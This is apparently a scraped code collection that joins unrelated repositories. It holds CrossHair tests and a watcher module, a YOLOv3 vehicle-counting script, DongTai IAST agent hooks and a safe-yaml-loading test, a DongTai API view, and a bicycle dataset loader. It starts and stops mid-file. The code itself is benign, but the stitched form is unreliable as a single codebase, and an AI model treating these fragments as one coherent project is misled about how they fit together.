self.assertEqual(*check_fail(f)) def test_union_ok(self) -> None: def f(a: Set[str], b: Set[str]) -> Set[str]: """ post: all(((i in a) or (i in b)) for i in _) """ return a | b self.assertEqual(*check_unknown(f)) def test_contains_different_but_equivalent(self) -> None: def f(s: Set[Union[int, str]]) -> str: """ pre: "foobar" in s post: (_ + "bar") in s """ return "foo" self.assertEqual(*check_unknown(f)) # The heaprefs + deferred set assumptions make this too expensive. # TODO: Optimize & re-enable def TODO_test_subtype_union(self) -> None: def f(s: Set[Union[int, str]]) -> Set[Union[int, str]]: """ post: not ((42 in s) and ('42' in s)) """ return s self.assertEqual(*check_fail(f, AnalysisOptionSet(per_condition_timeout=7.0))) def test_subset_compare_ok(self) -> None: # a >= b with {'a': {0.0, 1.0}, 'b': {2.0}} def f(s1: Set[float], s2: Set[float]) -> bool: """ pre: s1 == {0.0, 1.0} pre: s2 == {2.0} post: not _ """ return s1 >= s2 self.assertEqual(*check_ok(f)) def test_set_numeric_promotion(self) -> None: def f(i: int, s: Set[float]) -> bool: """ pre: i == 2 pre: s == {2.0} post: _ """ return i in s self.assertEqual(*check_ok(f)) def test_set_runtime_type_ok(self) -> None: def f(s: set) -> bool: """ post: _ """ return True self.assertEqual(*check_ok(f)) def test_isinstance_check(self) -> None: def f(s: Set[object]) -> bool: """ post: _ """ return isinstance(s, set) self.assertEqual(*check_ok(f)) def test_sets_eq(self) -> None: def f(a: Set[FrozenSet[int]]) -> object: """ pre: a == {frozenset({7}), frozenset({42})} post: _ in ('{frozenset({7}), frozenset({42})}', '{frozenset({42}), frozenset({7})}') """ return repr(a) self.assertEqual( *check_ok( f, AnalysisOptionSet(per_path_timeout=10, per_condition_timeout=10) ) ) def test_containment(self) -> None: def f(s: Set[int]) -> int: """ pre: len(s) == 2 post: _ """ i = iter(s) x = next(i) y = next(i) return x != y self.assertEqual(*check_ok(f)) class FunctionsTest(unittest.TestCase): def test_hash(self) -> None: def f(s: str) -> int: """ post: True """ return hash(s) self.assertEqual(*check_ok(f)) def test_getattr(self) -> None: class Otter: def do_cute_human_things_with_hands(self) -> str: return "cuteness" def f(s: str) -> str: """ post: _ != "cuteness" """ try: return getattr(Otter(), s)() except: return "" messages = run_checkables( analyze_function( f, AnalysisOptionSet(max_iterations=20, per_condition_timeout=5) ) ) self.assertEqual(len(messages), 1) self.assertEqual( messages[0].message, "false when calling f(s = 'do_cute_human_things_with_hands') (which returns 'cuteness')", ) class ProtocolsTest(unittest.TestCase): # TODO: move most of this into a collectionslib_test.py file def test_hashable_values_fail(self) -> None: def f(b: bool, i: int, t: Tuple[str, ...], s: FrozenSet[float]) -> int: """ post: _ % 10 != 0 """ return hash((i, t, s)) self.assertEqual(*check_fail(f)) def test_hashable_values_ok(self) -> None: def f(a: Tuple[str, int, float, bool], b: Tuple[str, int, float, bool]) -> int: """ post: _ or not (a == b) """ return hash(a) == hash(b) self.assertEqual(*check_unknown(f)) def test_symbolic_hashable(self) -> None: def f(a: Hashable) -> int: """ post[]: 0 <= _ <= 1 """ return hash(a) % 2 self.assertEqual(*check_ok(f)) def test_symbolic_supports(self) -> None: def f( a: SupportsAbs, f: SupportsFloat, i: SupportsInt, r: SupportsRound, c: SupportsComplex, b: SupportsBytes, ) -> float: """ post: _.real <= 0 """ return abs(a) + float(f) + int(i) + round(r) + complex(c) + len(bytes(b)) self.assertEqual(*check_fail(f)) def test_iterable(self) -> None: T = TypeVar("T") def f(a: Iterable[T]) -> T: """ pre: a post: _ in a """ return next(iter(a)) self.assertEqual(*check_unknown(f)) def test_bare_type(self) -> None: def f(a: List) -> bool: """ pre: a post: _ """ return bool(a) self.assertEqual(*check_ok(f)) class EnumsTest(unittest.TestCase): def test_enum_identity_matches_equality(self) -> None: def f(color1: Color, color2: Color) -> bool: """ post: _ == (color1 is color2) """ return color1 == color2 self.assertEqual(*check_ok(f)) def test_enum_in_container(self) -> None: def f(colors: List[Color]) -> bool: """ post: not _ """ return Color.RED in colors and Color.BLUE in colors self.assertEqual(*check_fail(f)) class TypesTest(unittest.TestCase): def test_symbolic_types_ok(self) -> None: def f(typ: Type[SmokeDetector]): """ post: _ """ return issubclass(typ, SmokeDetector) self.assertEqual(*check_ok(f)) def test_symbolic_type_can_be_subclass(self) -> None: def f(typ: Type[Cat]): """ post: _ == "<class '__main__.Cat'>" """ return str(typ) # False when the type is instantiated as "BiggerCat": self.assertEqual(*check_fail(f)) def test_symbolic_types_fail(self) -> None: def f(typ: Type): """ post: _ """ return issubclass(typ, str) self.assertEqual(*check_fail(f)) def test_symbolic_types_without_literal_types(self) -> None: def f(typ1: Type, typ2: Type, typ3: Type): """ post: implies(_, issubclass(typ1, typ3)) """ return issubclass(typ2, typ3) and typ2 != typ3 self.assertEqual( *check_fail( f, AnalysisOptionSet(max_iterations=60, per_condition_timeout=10) ) ) def test_instance_creation(self) -> None: def f(t: Type[Cat]): """ post: _.size() > 0 """ return t() self.assertEqual(*check_ok(f)) def test_type_comparison(self) -> None: def f(t: Type) -> bool: """ post: _ """ return t == int self.assertEqual(*check_fail(f)) def test_type_as_bool(self) -> None: def f(t: Type) -> bool: """ post: _ """ return bool(t) self.assertEqual(*check_ok(f)) def test_generic_object_and_type(self) -> None: def f(thing: object, detector_kind: Type[SmokeDetector]): """ post: True """ if isinstance(thing, detector_kind): return thing._is_plugged_in return False self.assertEqual(*check_ok(f)) def test_generic_object_equality(self) -> None: def f(thing: object, i: int): """ post: not _ """ return thing == i self.assertEqual(*check_fail(f)) class CallableTest(unittest.TestCase): def test_symbolic_zero_arg_callable(self) -> None: def f(size: int, initializer: Callable[[], int]) -> Tuple[int, ...]: """ pre: size >= 1 post: _[0] != 707 """ return tuple(initializer() for _ in range(size)) self.assertEqual(*check_fail(f)) def test_symbolic_one_arg_callable(self) -> None: def f(size: int, mapfn: Callable[[int], int]) -> Tuple[int, ...]: """ pre: size >= 1 post: _[0] != 707 """ return tuple(mapfn(i) for i in range(size)) self.assertEqual(*check_fail(f)) def test_symbolic_two_arg_callable(self) -> None: def f(i: int, callable: Callable[[int, int], int]) -> int: """ post: _ != i """ return callable(i, i) self.assertEqual(*check_fail(f)) def test_callable_as_bool(self) -> None: def f(fn: Callable[[int], int]) -> bool: """ post: _ """ return bool(fn) self.assertEqual(*check_ok(f)) def test_callable_repr(self) -> None: def f(f1: Callable[[int], int]) -> int: """ post: _ != 1234 """ return f1(4) messages = run_checkables(analyze_function(f)) self.assertEqual(len(messages), 1) self.assertEqual( messages[0].message, "false when calling f(f1 = lambda a: 1234) (which returns 1234)", ) def test_callable_with_typevar_in_args(self) -> None: # For now, just don't explode. But we should be able to make these fail with # some work. See https://github.com/pschanely/CrossHair/issues/85 T = TypeVar("T") def f(a: Callable[[T], int], x: T) -> int: """post: _ != 42""" return a(x) self.assertEqual(*check_unknown(f)) def test_callable_with_typevar_in_return(self) -> None: # For now, just don't explode. But we should be able to make these fail with # some work. See https://github.com/pschanely/CrossHair/issues/85 T = TypeVar("T") def f(a: Callable[[int], T], x: int) -> T: """post: _""" return a(x) self.assertEqual(*check_unknown(f)) class ContractedBuiltinsTest(unittest.TestCase): def TODO_test_print_ok(self) -> None: def f(x: int) -> bool: """ post: _ == True """ print(x) return True self.assertEqual(*check_ok(f)) def test_repr_ok(self): def f(x: int) -> str: """ post: len(_) == 0 or len(_) > 0 """ return repr(x) self.assertEqual(*check_ok(f)) def test_max_fail(self) -> None: def f(l: List[int]) -> int: """ post: _ in l """ return max(l) self.assertEqual(*check_exec_err(f)) def test_max_ok(self) -> None: def f(l: List[int]) -> int: """ pre: bool(l) post[]: _ in l """ return max(l) self.assertEqual(*check_unknown(f)) def test_min_ok(self) -> None: def f(l: List[float]) -> float: """ pre: bool(l) post[]: _ in l """ return min(l) self.assertEqual(*check_unknown(f)) def test_list_index(self) -> None: def f(i: int) -> int: """ post: True """ return [0, 1, 2].index(i) self.assertEqual(*check_exec_err(f, "ValueError: 3 is not in list")) def test_eval_namespaces(self) -> None: def f(i: int) -> int: """ post: _ == i + 1 """ return eval("i + Color.BLUE.value") self.assertEqual(*check_ok(f)) if __name__ == "__main__": if ("-v" in sys.argv) or ("--verbose" in sys.argv): set_debug(True) unittest.main() ``` #### File: crosshair/libimpl/__init__.py ```python from crosshair.libimpl import builtinslib from crosshair.libimpl import collectionslib from crosshair.libimpl import datetimelib from crosshair.libimpl import mathlib from crosshair.libimpl import randomlib from crosshair.libimpl import relib def make_registrations(): builtinslib.make_registrations() collectionslib.make_registrations() datetimelib.make_registrations() mathlib.make_registrations() randomlib.make_registrations() relib.make_registrations() # We monkey patch icontract below to prevent it from enforcing contracts. # (we want to control how and when they run) # TODO: consider a better home for this code try: import icontract icontract._checkers._assert_invariant = lambda *a, **kw: None icontract._checkers._assert_preconditions = lambda *a, **kw: None icontract._checkers._assert_postconditions = lambda *a, **kw: None except ImportError: pass ``` #### File: CrossHair/crosshair/watcher.py ```python import dataclasses import multiprocessing import multiprocessing.queues import os import queue import sys import time import signal from typing import * from crosshair.auditwall import engage_auditwall from crosshair.auditwall import opened_auditwall from crosshair.core_and_libs import analyze_module from crosshair.core_and_libs import run_checkables from crosshair.core_and_libs import AnalysisMessage from crosshair.core_and_libs import MessageType from crosshair.fnutil import walk_paths from crosshair.options import AnalysisOptionSet from crosshair.fnutil import NotFound from crosshair.util import debug from crosshair.util import load_file from crosshair.util import set_debug from crosshair.util import CrosshairInternal from crosshair.util import ErrorDuringImport # Use "spawn" in stead of fork() because we've already imported the code we're watching: multiproc_spawn = multiprocessing.get_context("spawn") def mtime(path: str) -> Optional[float]: try: return os.stat(path).st_mtime except FileNotFoundError: return None @dataclasses.dataclass(init=False) class WatchedMember: qual_name: str # (just for debugging) content_hash: int last_modified: float def __init__(self, qual_name: str, body: str) -> None: self.qual_name = qual_name self.content_hash = hash(body) self.last_modified = time.time() def consider_new(self, new_version: "WatchedMember") -> bool: if self.content_hash != new_version.content_hash: self.content_hash = new_version.content_hash self.last_modified = time.time() return True return False WorkItemInput = Tuple[ str, AnalysisOptionSet, float # (filename) ] # (float is a deadline) WorkItemOutput = Tuple[WatchedMember, Counter[str], List[AnalysisMessage]] def import_error_msg(err: ErrorDuringImport) -> AnalysisMessage: orig, frame = err.args return AnalysisMessage( MessageType.IMPORT_ERR, str(orig), frame.filename, frame.lineno, 0, "" ) def pool_worker_process_item( item: WorkItemInput, ) -> Tuple[Counter[str], List[AnalysisMessage]]: filename, options, deadline = item stats: Counter[str] = Counter() options.stats = stats try: module = load_file(filename) except NotFound as e: debug(f'Not analyzing "{filename}" because sub-module import failed: {e}') return (stats, []) except ErrorDuringImport as e: debug(f'Not analyzing "{filename}" because import failed: {e}') return (stats, [import_error_msg(e)]) messages = run_checkables(analyze_module(module, options)) return (stats, messages) def pool_worker_main(item: WorkItemInput, output: multiprocessing.queues.Queue) -> None: filename = item[0] try: # TODO figure out a more reliable way to suppress this. Redirect output? # Ignore ctrl-c in workers to reduce noisy tracebacks (the parent will kill us): signal.signal(signal.SIGINT, signal.SIG_IGN) if hasattr(os, "nice"): # analysis should run at a low priority os.nice(10) set_debug(False) engage_auditwall() (stats, messages) = pool_worker_process_item(item) output.put((filename, stats, messages)) except BaseException as e: raise CrosshairInternal("Worker failed while analyzing " + filename) from e class Pool: _workers: List[Tuple[multiprocessing.Process, WorkItemInput]] _work: List[WorkItemInput] _results: multiprocessing.queues.Queue _max_processes: int def __init__(self, max_processes: int) -> None: self._workers = [] self._work = [] self._results = multiproc_spawn.Queue() self._max_processes = max_processes def _spawn_workers(self): work_list = self._work workers = self._workers while work_list and len(self._workers) < self._max_processes: work_item = work_list.pop() with opened_auditwall(): process = multiprocessing.Process( target=pool_worker_main, args=(work_item, self._results) ) workers.append((process, work_item)) process.start() def _prune_workers(self, curtime): for worker, item in self._workers: (_, _, deadline) = item if worker.is_alive() and curtime > deadline: debug("Killing worker over deadline", worker) with opened_auditwall(): worker.terminate() time.sleep(0.5) if worker.is_alive(): worker.kill() worker.join() self._workers = [(w, i) for w, i in self._workers if w.is_alive()] def terminate(self): self._prune_workers(float("+inf")) self._work = [] self._results.close() def garden_workers(self): self._prune_workers(time.time()) self._spawn_workers() def is_working(self): return self._workers or self._work def submit(self, item: WorkItemInput) -> None: self._work.append(item) def has_result(self): return not self._results.empty() def get_result(self, timeout: float) -> Optional[WorkItemOutput]: try: return self._results.get(timeout=timeout) except queue.Empty: return None def worker_initializer(): """Ignore CTRL+C in the worker process.""" signal.signal(signal.SIGINT, signal.SIG_IGN) class Watcher: _paths: Set[str] _pool: Pool _modtimes: Dict[str, float] _options: AnalysisOptionSet _next_file_check: float = 0.0 _change_flag: bool = False def __init__(self, options: AnalysisOptionSet, files: Iterable[str]): self._paths = set(files) self._pool = self.startpool() self._modtimes = {} self._options = options try: # just to force an exit if we can't find a path: list(walk_paths(self._paths)) except FileNotFoundError as exc: print(f'Watch path "{exc.args[0]}" does not exist.', file=sys.stderr) sys.exit(2) def startpool(self) -> Pool: return Pool(multiprocessing.cpu_count() - 1) def run_iteration( self, max_condition_timeout=0.5 ) -> Iterator[Tuple[Counter[str], List[AnalysisMessage]]]: debug(f"starting pass " f"with a condition timeout of {max_condition_timeout}") debug("Files:", self._modtimes.keys()) pool = self._pool for filename in self._modtimes.keys(): worker_timeout = max(10.0, max_condition_timeout * 20.0) iter_options = AnalysisOptionSet( per_condition_timeout=max_condition_timeout, per_path_timeout=max_condition_timeout / 4, ) options = self._options.overlay(iter_options) pool.submit((filename, options, time.time() + worker_timeout)) pool.garden_workers() while pool.is_working(): result = pool.get_result(timeout=1.0) if result is not None: (_, counters, messages) = result yield (counters, messages) if pool.has_result(): continue change_detected = self.check_changed() if change_detected: self._change_flag = True debug("Aborting iteration on change detection") pool.terminate() self._pool = self.startpool() return pool.garden_workers() debug("Worker pool tasks complete") yield (Counter(), []) def check_changed(self) -> bool: if time.time() < self._next_file_check: return False modtimes = self._modtimes changed = False for curfile in walk_paths(self._paths): cur_mtime = mtime(curfile) if cur_mtime == modtimes.get(curfile): continue changed = True if cur_mtime is None: del modtimes[curfile] else: modtimes[curfile] = cur_mtime self._next_file_check = time.time() + 1.0 if not changed: return False return True ```
{ "source": "jinghann/tensorflow-yolov3", "score": 2 }
#### File: jinghann/tensorflow-yolov3/video_demo_counting.py ```python import cv2 import time import numpy as np import core.utils as utils import tensorflow as tf from core.config import cfg from sys import argv import shutil import os import colorsys import random #to use sort.py import sys sys.path.insert(0,'./sort') from sort import Sort mot_tracker = Sort(max_age=8,min_hits=3) #create an instance of the SORT tracker memory = {} #checkpoint line line = [(448,454),(845,524)] # Return true if line segments AB and CD intersect def intersect(A,B,C,D): return ccw(A,C,D) != ccw(B,C,D) and ccw(A,B,C) != ccw(A,B,D) def ccw(A,B,C): return (C[1]-A[1]) * (B[0]-A[0]) > (B[1]-A[1]) * (C[0]-A[0]) return_elements = ["input/input_data:0", "pred_sbbox/concat_2:0", "pred_mbbox/concat_2:0", "pred_lbbox/concat_2:0"] pb_file = "./pb/yolov3_coco_4_coco1.pb" # give the path to the video here. eg.: ./video/video_20190812.mp4 video_path = argv[1] print("processing video {}".format(video_path)) #uncomment to save the frames drawn with bbox into a folder '<video_name>_<model_used>' under ./out_frame #the model used - for the folder name #model = argv[2] #create a folder to store out_frames #out_folder = './out_frame/{}_{}'.format(video_path.split('/')[-1].strip('.mp4'),model) #print(out_folder) #shutil.rmtree(out_folder,ignore_errors=True) #os.makedirs(out_folder) #get average fps total_time = 0 classes = utils.read_class_names(cfg.YOLO.CLASSES) num_classes = len(classes) #colors = np.random.rand(32,3) #colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) #define colors list #hsv_tuples = [(1.0 * x / num_classes, 1., 1.) for x in range(num_classes)] #colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) #colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) #random.seed(0) #random.shuffle(colors) #random.seed(4) #np.random.seed(20) #colors = np.random.randint(0, 255, size=(7, 3)) colors = [(255,218,0), (223,156,128), (224,118,40),(99,218,15),(0,145,255),(145,0,255),(255,204,153)] input_size = 416 #counter dict: class_id:counting counter_dict = dict() for i in range(len(classes)-2): counter_dict[i] = 0 #object id dict: object_id:class_id obj_dic = {} graph = tf.Graph() return_tensors = utils.read_pb_return_tensors(graph, pb_file, return_elements) out = cv2.VideoWriter('out_{}.avi'.format(video_path.split("/")[-1].split(".")[0]),cv2.VideoWriter_fourcc(*'mp4v'), 15, (1280, 720)) with tf.Session(graph=graph) as sess: vid = cv2.VideoCapture(video_path) counter = 0 #count the frame while True: prev_time = time.time() return_value, frame = vid.read() # grab a single frame of video if return_value: counter += 1 #increment the counter frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) frame = cv2.resize(frame, (1280, 720)) #crop_frame = frame[0:720,0:853] # gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # cv2.imshow('out', gray) # img2 = np.zeros_like(frame) # img2[:, :, 0] = gray # img2[:, :, 1] = gray # img2[:, :, 2] = gray # image = Image.fromarray(img2) # cv2.imshow('out', img2) else: raise ValueError("No image!") #frame_size = crop_frame.shape[:2] frame_size = frame.shape[:2] #image_data = utils.image_preporcess(np.copy(crop_frame), [input_size, input_size]) image_data = utils.image_preporcess(np.copy(frame), [input_size, input_size]) image_data = image_data[np.newaxis, ...] pred_sbbox, pred_mbbox, pred_lbbox = sess.run( [return_tensors[1], return_tensors[2], return_tensors[3]], feed_dict={return_tensors[0]: image_data}) pred_bbox = np.concatenate([np.reshape(pred_sbbox, (-1, 5 + num_classes)), np.reshape(pred_mbbox, (-1, 5 + num_classes)), np.reshape(pred_lbbox, (-1, 5 + num_classes))], axis=0) bboxes = utils.postprocess_boxes(pred_bbox, frame_size, input_size, cfg.TEST.SCORE_THRESHOLD) bboxes = utils.nms(bboxes, 0.45, method='nms') # CHANGE THIS FOR GRAYSCALE #image = utils.draw_bbox(frame, bboxes) #bbox:[x_min, y_min, x_max, y_max, probability, cls_id] #get bboxes from tracker dets = np.array(bboxes) trackers = mot_tracker.update(dets) #trackers:[x1,y1,x2,y2,obj_id,class_id] previous = memory.copy() memory = {} objIDs = [] for tracker in trackers: objIDs.append(tracker[4]) memory[objIDs[-1]] = [tracker[0],tracker[1],tracker[2],tracker[3]] #update the object dict with new object id - class id pair if tracker[4] not in obj_dic: obj_dic[int(tracker[4])] = int(tracker[5]) image_h, image_w, _ = frame.shape fontScale = 0.5 bbox_thick = int(0.6 * (image_h + image_w) / 700) if len(trackers) > 0 : for i in range(len(trackers)): d = trackers[i] d = d.astype(np.int32) class_id = d[5] class_nm = classes[class_id] coor1, coor2 = (d[0], d[1]), (d[2], d[3]) #the center of the bottom line of the bbox p0 = ((coor1[0] + coor2[0])//2,coor2[1]) color = [int(c) for c in colors[class_id]] cv2.rectangle(frame, coor1, coor2, color, bbox_thick) cv2.circle(frame,p0,2,color,-1,0) #show label bbox_mess = '%s' % (class_nm) t_size = cv2.getTextSize(bbox_mess, 0, fontScale, thickness=bbox_thick//2)[0] cv2.rectangle(frame, coor1, (coor1[0] + t_size[0], coor1[1] - t_size[1] - 3),color, -1) # filled cv2.putText(frame, bbox_mess, (coor1[0], coor1[1]-2), cv2.FONT_HERSHEY_SIMPLEX, fontScale, (0,0,0), bbox_thick//2, lineType=cv2.LINE_AA) if objIDs[i] in previous: previous_box = previous[objIDs[i]] pre_coor1 = (int(previous_box[0]),int(previous_box[1])) pre_coor2 = (int(previous_box[2]),int(previous_box[3])) #the center of bottom line of the bbox p1 = ((pre_coor1[0] + pre_coor2[0])//2,pre_coor2[1]) if intersect(p0,p1,line[0],line[1]): if obj_dic[objIDs[i]] in counter_dict: counter_dict[obj_dic[objIDs[i]]] += 1 cv2.rectangle(frame, coor1, coor2, color, bbox_thick*4) # draw checkpoint line cv2.line(frame, line[0], line[1], (255, 255, 0), 3) #to display vehicle counting cv2.rectangle(frame, (0,0),(1280,46), (0, 0, 0), -1) x = 0 wid = 1280//5 for class_id, counter in counter_dict.items(): color = [int(c) for c in colors[class_id]] cv2.putText(frame,'{} : {}'.format(classes[class_id],counter),(x+wid//4,26),cv2.FONT_HERSHEY_SIMPLEX,0.7,color,2) x += wid curr_time = time.time() exec_time = curr_time - prev_time #update total time #total_time += exec_time #result = np.asarray(frame) info = "time: %.2f ms" % (1000*exec_time) # * WINDOW_NORMAL:window can be resized # * WINDOW_KEEPRATIO:keep a fixed ratio of the window # * WINDOW_GUI_EXPANDED: to use an enhanced GUI window # *cv2.WINDOW_AUTOSIZE: use the image size (fixed,cannot be resized) cv2.namedWindow("result", flags=cv2.WINDOW_NORMAL | cv2.WINDOW_KEEPRATIO | cv2.WINDOW_GUI_EXPANDED) # COMMENT THIS FOR GRAYSCALE result = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR) fps = 1 / exec_time #to display fps cv2.rectangle(result, (0, 690), (180, 720), (0, 0, 0), -1) cv2.putText(result, "FPS = {:.2f}".format(fps), (20, 710),cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2) cv2.imshow("result", result) #uncomment to save frame drawn with predicted bbox #cv2.imwrite("{}/{}.jpg".format(out_folder,counter),result) #counter += 1 #print('writing image: '+"{}/{}.jpg".format(out_folder,counter))''' out.write(result) if cv2.waitKey(10) & 0xFF == ord('q'): break out.release() cv2.destroyAllWindows() #avg_fps = counter / total_time #print('Average fps is : ',avg_fps) ```
{ "source": "jinghao1/DongTai-agent-python", "score": 2 }
#### File: dongtai_agent_python/assess/ctypes_hook.py ```python import ctypes import os import sys from dongtai_agent_python.policy.deal_data import wrap_data from dongtai_agent_python.setting import const from dongtai_agent_python.utils import scope # https://stackoverflow.com/a/24498525 def magic_get_dict(o): # find address of dict whose offset is stored in the type dict_addr = id(o) + type(o).__dictoffset__ # retrieve the dict object itself dict_ptr = ctypes.cast(dict_addr, ctypes.POINTER(ctypes.py_object)) return dict_ptr.contents.value def magic_flush_mro_cache(): if os.name == "nt": pythonapi = ctypes.PyDLL("python dll", None, sys.dllhandle) elif sys.platform == "cygwin": pythonapi = ctypes.PyDLL("libpython%d.%d.dll" % sys.version_info[:2]) else: pythonapi = ctypes.PyDLL(None) pythonapi.PyType_Modified(ctypes.py_object(object)) # 属性方法hook def build_method_patch(origin_cls, policy_rule, *args, **kwargs): copy_new_class = type(origin_cls.__name__, origin_cls.__bases__, dict(origin_cls.__dict__)) if policy_rule.method_name not in copy_new_class.__dict__: return None origin_method = getattr(origin_cls, policy_rule.method_name) policy_rule.set_origin_method(origin_method) def child_func(*args, **kwargs): if policy_rule.node_type == const.NODE_TYPE_FILTER: with scope.scope(scope.SCOPE_AGENT): result = copy_new_class.__dict__[policy_rule.method_name](*args, **kwargs) else: result = copy_new_class.__dict__[policy_rule.method_name](*args, **kwargs) if scope.in_scope(scope.SCOPE_AGENT): return result wrap_data(policy_rule, result=result, come_args=args, come_kwargs=kwargs) return result policy_rule.set_patched_method(child_func) return child_func ``` #### File: tests/policy/test_tracking.py ```python import unittest from dongtai_agent_python.policy import tracking class TestTracking(unittest.TestCase): def test_yaml_load_is_safe(self): try: import yaml self.assertFalse(tracking.yaml_load_is_safe(('test', yaml.UnsafeLoader), None)) self.assertFalse(tracking.yaml_load_is_safe(('test',), {'Loader': yaml.UnsafeLoader})) self.assertTrue(tracking.yaml_load_is_safe(('test',), None)) yaml.__version__ = '5.0' self.assertFalse(tracking.yaml_load_is_safe(('test',), None)) except ImportError: pass if __name__ == '__main__': unittest.main() ``` #### File: dongtai_agent_python/utils/scope.py ```python import threading from contextlib import contextmanager SCOPE_AGENT = 'agent' class ScopeContext(threading.local): def __init__(self): self._active_scopes = [] @property def active_scopes(self): return self._active_scopes[:] @property def current_scope(self): if len(self._active_scopes) == 0: return '' return self._active_scopes[-1][:] # Slice to get copy. def enter_scope(self, name): """Enters the given scope, updating the list of active scopes. Args: name: scope name """ self._active_scopes = self._active_scopes + [name] def exit_scope(self): """Exits the most recently entered scope.""" self._active_scopes = self._active_scopes[:-1] def in_scope(self, name): return name in self._active_scopes SCOPE_CONTEXT = ScopeContext() @contextmanager def scope(name): SCOPE_CONTEXT.enter_scope(name) try: yield finally: SCOPE_CONTEXT.exit_scope() def with_scope(name): def wrapper(original_func): def _wrapper(*args, **kwargs): with scope(name): return_value = original_func(*args, **kwargs) return return_value return _wrapper return wrapper def current_scope(): return SCOPE_CONTEXT.current_scope def enter_scope(name): return SCOPE_CONTEXT.enter_scope(name) def exit_scope(): return SCOPE_CONTEXT.exit_scope() def in_scope(name): return SCOPE_CONTEXT.in_scope(name) ```
{ "source": "jinghao1/DongTai-webapi", "score": 2 }
#### File: iast/views/engine_hook_rule_summary.py ```python from dongtai.endpoint import UserEndPoint, R from dongtai.models.hook_strategy import HookStrategy from dongtai.models.hook_type import HookType from dongtai.utils import const from iast.utils import extend_schema_with_envcheck, get_response_serializer from rest_framework import serializers from django.utils.translation import gettext_lazy as _ from rest_framework.serializers import ValidationError class EngineHookRuleSummarySerializer(serializers.Serializer): typeCount = serializers.IntegerField( help_text=_("Total number of rule types")) ruleCount = serializers.IntegerField(help_text=_("Total number of rules")) sinkCount = serializers.IntegerField( help_text=_("Total number of sink type rules")) class _EngineHookRuleSummaryQuerySerializer(serializers.Serializer): language_id = serializers.IntegerField( help_text=_('The id of programming language'), required=False,allow_null=True) _ResponseSerializer = get_response_serializer( EngineHookRuleSummarySerializer(many=True)) class EngineHookRuleSummaryEndPoint(UserEndPoint): @extend_schema_with_envcheck( [_EngineHookRuleSummaryQuerySerializer], tags=[_('Hook Rule')], summary=_('Hook Rule Summary'), description=_("Statistics on the number of hook rules"), response_schema=_ResponseSerializer, ) def get(self, request): ser = _EngineHookRuleSummaryQuerySerializer(data=request.GET) try: ser.is_valid(True) except ValidationError as e: return R.failure(msg=_('Parameter error')) rule_type_queryset = HookType.objects.filter(created_by__in=[request.user.id, const.SYSTEM_USER_ID]) if ser.validated_data.get('language_id', None): rule_type_queryset = rule_type_queryset.filter( language_id=ser.validated_data['language_id'], enable__gt=0) rule_type_count = rule_type_queryset.values('id').count() sink_type_queryset = rule_type_queryset.filter(type=const.RULE_SINK) sink_count = HookStrategy.objects.values('id').filter(type__in=sink_type_queryset,enable__gt=0).count() rule_count = HookStrategy.objects.values('id').filter(type__in=rule_type_queryset,enable__gt=0).count() return R.success(data={ 'typeCount': rule_type_count, 'ruleCount': rule_count, 'sinkCount': sink_count }) ```
{ "source": "JingHengLin/autonomous_bicycle", "score": 2 }
#### File: docs/python_notebooks/DatasetImporter.py ```python import matplotlib.pyplot as plt import pandas as pd from numpy import linalg as LA class DatasetImporter(object): def __init__(self, filename, fill_na=False, filter_data=True): self.filename = filename self.fill_na = fill_na self.time = 'time' self.gt_x = '_bicycle_odom_rear_wheel.pose.pose.position.x' self.gt_y = '_bicycle_odom_rear_wheel.pose.pose.position.y' self.gt_z = '_bicycle_odom_rear_wheel.pose.pose.position.z' self.gt_v = '_bicycle_odom_rear_wheel.twist.twist.linear.x' self.gt_psi = '_imu_lean_yaw.data' self.gt_phi = '_imu_lean_pitch.data' self.gt_delta = '_imu_steering_yaw.data' self.sim_xf = '_bicycle_odom_gps_front.pose.pose.position.x' self.sim_xr = '_bicycle_odom_gps_rear.pose.pose.position.x' self.sim_yf = '_bicycle_odom_gps_front.pose.pose.position.y' self.sim_yr = '_bicycle_odom_gps_rear.pose.pose.position.y' self.sim_zf = '_bicycle_odom_gps_front.pose.pose.position.z' self.sim_zr = '_bicycle_odom_gps_rear.pose.pose.position.z' self.sim_za = '_bicycle_altitude.altitude' self.sim_v_x = '_bicycle_gps_rear_velocity.vector.x' self.sim_v_y = '_bicycle_gps_rear_velocity.vector.y' self.sim_v = 'velocity' self.sim_psi = '_imu_lean_noise_yaw.data' self.sim_phi = '_imu_lean_noise_pitch.data' self.sim_delta = '_imu_steering_noise_yaw.data' self.linear_a_x = '_bicycle_imu_1.linear_acceleration.x' self.linear_a_y = '_bicycle_imu_1.linear_acceleration.y' self.linear_a = 'linear_a' self.angular_vel_phi = '_bicycle_imu_1.angular_velocity.y' self.angular_vel_delta = '_bicycle_imu_steering.angular_velocity.y' self.data = pd.read_csv(self.filename, na_filter=True, parse_dates=[self.time]) \ .drop_duplicates(subset=[self.time]) if filter_data: self.data = self.data.filter(items=[self.time, self.gt_x, self.gt_y, self.gt_z, self.gt_v, self.gt_psi, self.gt_phi, self.gt_delta, self.sim_xf, self.sim_xr, self.sim_yf, self.sim_yr, self.sim_zf, self.sim_zr, self.sim_za, self.sim_v_x, self.sim_v_y, self.sim_psi, self.sim_phi, self.sim_delta, self.linear_a_x, self.linear_a_y, self.angular_vel_phi, self.angular_vel_delta]) # if self.fill_na: self.data = self.data.fillna(method='pad') # fill forward self.data = self.data.fillna(method='bfill') # fill backward self.data[self.sim_v] = self.data.apply(self.compute_velocity, axis=1) # Set time as index in dataset self.data['time_index'] = pd.to_datetime(self.data['time']) self.data = self.data.set_index('time_index', drop=True, verify_integrity=True) self.data['time'] = self.data.index def compute_velocity(self, row): return LA.norm([row[self.sim_v_x], row[self.sim_v_y]]) def plot_dataset(self): fig, axes = plt.subplots(nrows=3, ncols=2, figsize=(15, 15)) self.data.plot(x=self.gt_x, y=self.gt_y, ax=axes[0, 0], kind='scatter', use_index=False, legend=False) self.data.plot(x=self.sim_xf, y=self.sim_yf, ax=axes[0, 0], kind='scatter', use_index=False, legend=False) self.data.plot(x=self.sim_xr, y=self.sim_yr, ax=axes[0, 0], kind='scatter', use_index=False, legend=False) axes[0, 0].set_title('x-y (path)') self.data.plot(x=self.time, y=self.sim_psi, ax=axes[0, 1], legend=True) 